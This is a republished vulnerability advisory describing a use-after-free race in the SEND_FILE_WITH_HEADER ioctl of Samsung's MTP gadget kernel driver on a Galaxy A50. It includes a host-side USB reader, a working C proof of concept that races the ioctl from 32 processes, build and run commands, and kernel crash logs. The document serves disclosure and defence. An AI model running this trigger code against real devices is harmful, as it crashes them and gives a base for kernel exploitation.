Samsung SEND_FILE_WITH_HEADER Use-After-Free

2020.02.13
Credit: Jann Horn
Risk: High
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

Samsung: UAF via missing locking in SEND_FILE_WITH_HEADER handler in f_mtp_samsung.c Tested on a Samsung A50 (SM-A505FN), running build \"samsung/a50xx/a50:9/PPR1.180610.011/A505FNXXS3ASK9:user/release-keys\", security patch level 2019-11-01. Samsung's kernel tree contains two implementations of device-side MTP. One of them (drivers/usb/gadget/function/f_mtp.c), based on its copyright headers, seems to be from Google, but this one is disabled at build time. The second one is drivers/usb/gadget/function/f_mtp_samsung.c. Both of them have ioctl handlers that handle the ioctl command SEND_FILE_WITH_HEADER; the Google version runs this handler under a lock, the Samsung version doesn't hold any locks at this point. In both MTP implementations, the SEND_FILE_WITH_HEADER handler first looks up a file from a user-supplied file descriptor, then stashes a pointer to that file in a struct, posts work to a workqueue to actually send data from the file to the USB device, waits for the work item to be processed, and then drops its reference on the file. By the way, this entire dance with the work queue is probably completely unnecessary. The Google version of the code has a comment that says: /* We do the file transfer on a work queue so it will run * in kernel context, which is necessary for vfs_read and * vfs_write to use our buffers in the kernel address space. */ But that's wrong - if you want to do read/write with kernel buffers, you can just use kernel_read()/kernel_write() instead of vfs_read()/vfs_write() and everything should work just fine. (Or on older kernel before v4.14, use set_fs(KERNEL_DS) manually.) The problem is that the Samsung version runs this code without holding any locks: file = fget(info.Fd); if (!file) { status = -EBADF; printk(KERN_DEBUG \"[%s] line=[%d] bad file number\ \", __func__, __LINE__); goto exit; } dev->read_send_file = file; dev->read_send_length = info.Length; smp_wmb(); work = &dev->read_send_work; dev->read_send_cmd = info.Code; dev->read_send_id = info.TransactionID; queue_work(dev->wq, work); /* Wait for the work to be complted on work queue */ flush_workqueue(dev->wq); fput(file); This means that two threads can race like this (prefixed with a thread identifier): [1] file = fget(info.Fd); [1] if (!file) { [1] status = -EBADF; [1] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\ \", [1] __func__, __LINE__); [1] goto exit; [1] } [1] [1] dev->read_send_file = file; [1] dev->read_send_length = info.Length; [1] smp_wmb(); [2] file = fget(info.Fd); [2] if (!file) { [2] status = -EBADF; [2] printk(KERN_DEBUG \"[%s] line=[%d] bad file number\ \", [2] __func__, __LINE__); [2] goto exit; [2] } [2] [2] dev->read_send_file = file; [2] dev->read_send_length = info.Length; [2] smp_wmb(); [2] [2] work = &dev->read_send_work; [2] dev->read_send_cmd = info.Code; [2] dev->read_send_id = info.TransactionID; [2] queue_work(dev->wq, work); [2] /* Wait for the work to be complted on work queue */ [2] flush_workqueue(dev->wq); [2] [2] fput(file); [1] [1] work = &dev->read_send_work; [1] dev->read_send_cmd = info.Code; [1] dev->read_send_id = info.TransactionID; [1] queue_work(dev->wq, work); [1] /* Wait for the work to be complted on work queue */ [1] flush_workqueue(dev->wq); [1] [1] fput(file); If a race like this occurs, then by the time thread [1] reaches queue_work(), dev->read_send_file no longer holds a reference and may have already been freed. To reproduce this, you need to have a rooted phone. Next, you need to run a helper on the host that consumes all the incoming USB bulk messages on the MTP interface. Code for the helper: ================================================================================ #define _GNU_SOURCE #include <stdio.h> #include <err.h> #include <fcntl.h> #include <stdlib.h> #include <sys/ioctl.h> #include <linux/usbdevice_fs.h> #include <linux/usb/ch9.h> int main(int argc, char **argv) { if (argc != 4) { printf(\"usage: %s /dev/bus/usb/<bus>/<device> <interface-id> <endpoint-id (0-15)>\ \"); return 1; } int fd = open(argv[1], O_RDWR); if (fd == -1) err(1, \"open('%s')\", argv[1]); int interface = strtol(argv[2], NULL, 0); int endpoint = strtol(argv[3], NULL, 0); if (ioctl(fd, USBDEVFS_CLAIMINTERFACE, &interface)) err(1, \"claim interface\"); while (1) { char buf[0x200]; struct usbdevfs_bulktransfer transfer = { .ep = endpoint | USB_DIR_IN, .len = sizeof(buf), .data = buf }; int len = ioctl(fd, USBDEVFS_BULK, &transfer); if (len < 0) { err(1, \"USBDEVFS_BULK\"); } else { printf(\"got %d\ \", len); } } } ================================================================================ To use the helper, you need the bus and device numbers from lsusb. The interface ID (bInterfaceNumber) and endpoint ID (bEndpointAddress & 0xf) are 0 and 1, but you can also find them with lsusb. Usage example: ================================================================================ $ lsusb | grep Samsung Bus 001 Device 092: ID 04e8:6860 Samsung Electronics Co., Ltd Galaxy series, misc. (MTP mode) $ lsusb -d 04e8:6860 -v | egrep 'Interface Descriptor|bInterfaceNumber|iInterface|Endpoint Descriptor|bEndpointAddress' Interface Descriptor: bInterfaceNumber 0 iInterface 5 MTP Endpoint Descriptor: bEndpointAddress 0x81 EP 1 IN Endpoint Descriptor: bEndpointAddress 0x01 EP 1 OUT Endpoint Descriptor: bEndpointAddress 0x82 EP 2 IN Interface Descriptor: bInterfaceNumber 1 iInterface 6 CDC Abstract Control Model (ACM) Endpoint Descriptor: bEndpointAddress 0x84 EP 4 IN Interface Descriptor: bInterfaceNumber 2 can't get debug descriptor: Resource temporarily unavailable iInterface 7 CDC ACM Data Endpoint Descriptor: bEndpointAddress 0x83 EP 3 IN Endpoint Descriptor: bEndpointAddress 0x02 EP 2 OUT Interface Descriptor: bInterfaceNumber 3 iInterface 10 ADB Interface Endpoint Descriptor: bEndpointAddress 0x03 EP 3 OUT Endpoint Descriptor: bEndpointAddress 0x85 EP 5 IN $ gcc -o usbread usbread.c && ./usbread /dev/bus/usb/001/092 0 1 ================================================================================ Now compile the following PoC for the phone: ================================================================================ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <err.h> #include <stdlib.h> #include <assert.h> #include <string.h> #include <stdint.h> #include <stdbool.h> #include <sched.h> #include <fcntl.h> #include <sys/wait.h> #include <sys/mman.h> #include <errno.h> #include <sys/ioctl.h> #include <sys/prctl.h> /* from kernel headers */ struct read_send_info { int Fd;/* Media File fd */ uint64_t Length;/* the valid size, in BYTES, of the container */ uint16_t Code;/* Operation code, response code, or Event code */ uint32_t TransactionID;/* host generated number */ }; #define SEND_FILE_WITH_HEADER 11 /* print error and abort if syscall returned error code */ #define SYSCHK(x) ({ \\ typeof(x) __res = (x); \\ if ((long)__res == -1) \\ err(1, \"SYSCHK: %s\", #x); \\ __res; \\ }) // ensure that when the main process is killed via something like ^C, the entire // process tree dies relatively quickly static void set_pdeathsig(void) { SYSCHK(prctl(PR_SET_PDEATHSIG, SIGKILL)); if (getppid() == 1) errx(1, \"parent went away immediately\"); } static int dev_fd = -1; static void collide(void) { while (1) { int data_fd = SYSCHK(open(\"/system/bin/sh\", O_RDONLY)); struct read_send_info info = { .Fd = data_fd, .Length = 1 }; ioctl(dev_fd, SEND_FILE_WITH_HEADER, &info); close(data_fd); } } int main(void) { dev_fd = SYSCHK(open(\"/dev/usb_mtp_gadget\", O_RDWR)); for (int i=0; i<31; i++) { pid_t child = SYSCHK(fork()); if (child == 0) { set_pdeathsig(); collide(); return 0; } } collide(); return 0; } ================================================================================ Compile and use it like this: ================================================================================ $ aarch64-linux-gnu-gcc -static -o samsung_mtp_trigger samsung_mtp_trigger.c -Wall $ adb push samsung_mtp_trigger /data/local/tmp/ samsung_mtp_trigger: 1 file pushed. 17.2 MB/s (578328 bytes in 0.032s) $ adbs shell a50:/ $ su a50:/ # ps -AZ | grep Mtp u:r:system_app:s0 system 7587 4068 4272384 163484 ep_poll 0 S com.samsung.android.MtpApplication a50:/ # kill 7587 a50:/ # /data/local/tmp/samsung_mtp_trigger $ ================================================================================ ... and now your phone should crash pretty quickly (something like a second). To demonstrate that this is actually a UaF, here are snippets from last_kmsg: ================================================================================ <0>[13278.841349] [3: kworker/u16:9:17680] Unable to handle kernel read from unreadable memory at virtual address 00000160 [...] <4>[13278.841899] [3: kworker/u16:9:17680] CPU: 3 PID: 17680 Comm: kworker/u16:9 Tainted: G W 4.14.62-16641116 #1 <4>[13278.841910] [3: kworker/u16:9:17680] Hardware name: Samsung A50 SWA OPEN rev04 board based on Exynos9610 (DT) <4>[13278.841941] [3: kworker/u16:9:17680] Workqueue: mtp_read_send read_send_work <4>[13278.841954] [3: kworker/u16:9:17680] task: ffffffc012aa6300 task.stack: ffffff800cf28000 <4>[13278.841969] [3: kworker/u16:9:17680] PC is at rw_verify_area+0x2c/0xc4 <4>[13278.841980] [3: kworker/u16:9:17680] LR is at vfs_read+0x78/0x138 <4>[13278.841991] [3: kworker/u16:9:17680] pc : [<ffffff80082caa0c>] lr : [<ffffff80082cacf4>] pstate: 00400145 <4>[13278.842001] [3: kworker/u16:9:17680] sp : ffffff800cf2bc90 <4>[13278.842011] [3: kworker/u16:9:17680] x29: ffffff800cf2bca0 x28: 000000000000000c <4>[13278.842024] [3: kworker/u16:9:17680] x27: 0000000000000000 x26: 0000000000000000 <4>[13278.842037] [3: kworker/u16:9:17680] x25: ffffffc02e164c00 x24: ffffff80090bd369 <4>[13278.842050] [3: kworker/u16:9:17680] x23: ffffffc012aa6300 x22: ffffffc01d41800c <4>[13278.842063] [3: kworker/u16:9:17680] x21: 0000000000000001 x20: 0000000000000000 <4>[13278.842075] [3: kworker/u16:9:17680] x19: ffffffc800e5b680 x18: 000000000000270f <4>[13278.842088] [3: kworker/u16:9:17680] x17: 0000000000484728 x16: 0000000000000000 <4>[13278.842101] [3: kworker/u16:9:17680] x15: 00000000000000e6 x14: 0000000000000058 <4>[13278.842114] [3: kworker/u16:9:17680] x13: 000000000003a700 x12: dead000000000200 <4>[13278.842127] [3: kworker/u16:9:17680] x11: dead000000000100 x10: 0000000000000000 <4>[13278.842140] [3: kworker/u16:9:17680] x9 : 0000000000000001 x8 : ffffffffffffffff <4>[13278.842153] [3: kworker/u16:9:17680] x7 : 682b6874656c2009 x6 : ffffff80f61229b6 <4>[13278.842166] [3: kworker/u16:9:17680] x5 : 0000000000004510 x4 : 000000000000000c <4>[13278.842178] [3: kworker/u16:9:17680] x3 : 0000000000000001 x2 : 0000000000000000 <4>[13278.842191] [3: kworker/u16:9:17680] x1 : ffffffc800e5b680 x0 : 0000000000000000 [...] <4>[13278.845924] [3: kworker/u16:9:17680] X19: 0xffffffc800e5b580: [...] <4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000 <4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000 <4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8 <4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000 <4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000 <4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000 <4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8 <4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000 ================================================================================ The crash is in rw_verify_area() and is caused by file->f_inode being NULL. The file pointer is in X19; by looking at X19, we can see that it indeed looks like a struct file that was just freed (some pointers have been nulled by __fput(), and the refcount is zero): ================================================================================ mnt dentry <4>[13278.846172] [3: kworker/u16:9:17680] b680 : 00000000 00000000 082CEE70 FFFFFF80 00000000 00000000 00000000 00000000 inode f_op counter <4>[13278.846200] [3: kworker/u16:9:17680] b6a0 : 00000000 00000000 08D55700 FFFFFF80 00000000 00000000 00000000 00000000 <4>[13278.846228] [3: kworker/u16:9:17680] b6c0 : 00020000 0802801D 00000000 00000000 00000000 00000000 00E5B6D8 FFFFFFC8 <4>[13278.846256] [3: kworker/u16:9:17680] b6e0 : 00E5B6D8 FFFFFFC8 00000000 00000000 00000000 00000000 00000000 00000000 <4>[13278.846285] [3: kworker/u16:9:17680] b700 : 00000000 00000000 00000000 00000000 7F56D500 FFFFFFC8 00000000 00000000 <4>[13278.846313] [3: kworker/u16:9:17680] b720 : 00000000 00000000 00000020 00000000 FFFFFFFF FFFFFFFF 00000000 00000000 <4>[13278.846341] [3: kworker/u16:9:17680] b740 : 00000000 00000000 00000000 00000000 00E5B750 FFFFFFC8 00E5B750 FFFFFFC8 <4>[13278.846369] [3: kworker/u16:9:17680] b760 : 00E5B760 FFFFFFC8 00E5B760 FFFFFFC8 6458BCF0 FFFFFFC8 00000000 00000000 ================================================================================ Reporting this as a security bug since /dev/usb_mtp_gadget is reachable from a privileged, but not-root-equivalent context: a50:/ # ls -laZ /dev/usb_mtp_gadget crw-rw---- 1 system mtp u:object_r:mtp_device:s0 10, 27 2019-12-14 03:12 /dev/usb_mtp_gadget (allow mediaprovider mtp_device (chr_file (ioctl read write getattr lock append map open))) This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public. Found by: jannh@google.com


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top